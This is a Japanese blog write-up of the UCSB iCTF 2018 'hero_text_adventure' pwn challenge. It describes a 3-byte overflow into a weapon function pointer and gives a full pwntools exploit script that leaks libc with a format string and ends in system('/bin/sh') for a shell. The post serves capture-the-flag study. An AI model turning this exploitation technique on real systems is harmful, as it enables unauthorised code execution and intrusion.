ブログ未満のなにか

ブログなのか誰にも分からない

UCSB iCTF 2018 hero_text_adventure writeup

vuln

武器の名前の大きさは、0x20byteとなっている。しかし、4) give weapon a new nameで入力できるサイズが0x24byteとなっている。NULL終端されるため0x23byteが自由に制御でき、3byteがオーバーフローする。オーバフローする部分は、次の武器の関数ポインタであるため、装備する武器を変えてバトルすれば任意の処理へ制御を飛ばすことができる。

exploit

脆弱性を使用するためには、武器を2つ購入して最初に購入した武器を装備し名前を変えればいい。

書き換えた関数ポインタが呼ばれるとき、rdi(第一引数)は自分の名前を指すポインタ(player@0x603240)を格納している。なのでprintf(name)をして、必要なアドレスをリークした。 書き換えられるバイト数は3byteだけなので、libcのsystem関数をそのまま書き込むことはできない。なのでバイナリ中で使用しているreadline関数を一旦呼び出して、player以下の領域を任意の値を書き換えられるようにした。 最後は適当に調整して、system('/bin/sh')を呼び出した。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "127.0.0.1"
RPORT = 20007
LHOST = "127.0.0.1"
LPORT = 20007

# libc = ELF('')
elf = ELF('./hero_text_adventure')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./hero_text_adventure'], gdbscript=execute)
else:
    conn = process(['./hero_text_adventure'])
    # conn = process(['./hero_text_adventure'], env={'LD_PRELOAD': ''})

# preparing for exploitation

log.info('Pwning')

conn.sendline('N')
conn.sendline('%p.%p.%p.')
conn.sendline('1')
# make money
conn.sendline('1337')
conn.sendline('10000')
# buy weapon
conn.sendline('2')
conn.sendline('1')
# buy weapon
conn.sendline('2')
conn.sendline('2')
# equip
conn.sendline('3')
conn.sendline('1')
# give a name to weapon
conn.sendline('4')
payload = 'x'* 0x20 + p32(0x400ebf)  # printf
conn.send(payload)
# equip
conn.sendline('3')
conn.sendline('2')

# trigger vuln
conn.sendline('1')
conn.recvuntil('.0x28.')
libc_base = int(conn.recv(len('0x7f4c4f89b0a4')), 16) - 0x3c40a4
log.info('libc_base = 0x%x', libc_base)

# equip
conn.sendline('3')
conn.sendline('1')
# give a name to weapon
conn.sendline('4')
payload = 'x'* 0x20 + p32(0x400C84)
conn.send(payload)
# equip
conn.sendline('3')
conn.sendline('2')

# trigger vuln
conn.sendline('1')
payload = '/bin/sh\x00' + p64(0x603350) * 0x20 + 'a'*0x30
payload = '/bin/sh\x00' + p64(0x603350) * 0x20 + p64(libc_base + 0x45390)
conn.send(payload)
conn.send(p64(libc_base + 0x45390))
conn.recvuntil('6) exit')
conn.sendline('1')

conn.interactive()

さいごに

First Bloodを取れたので嬉しい。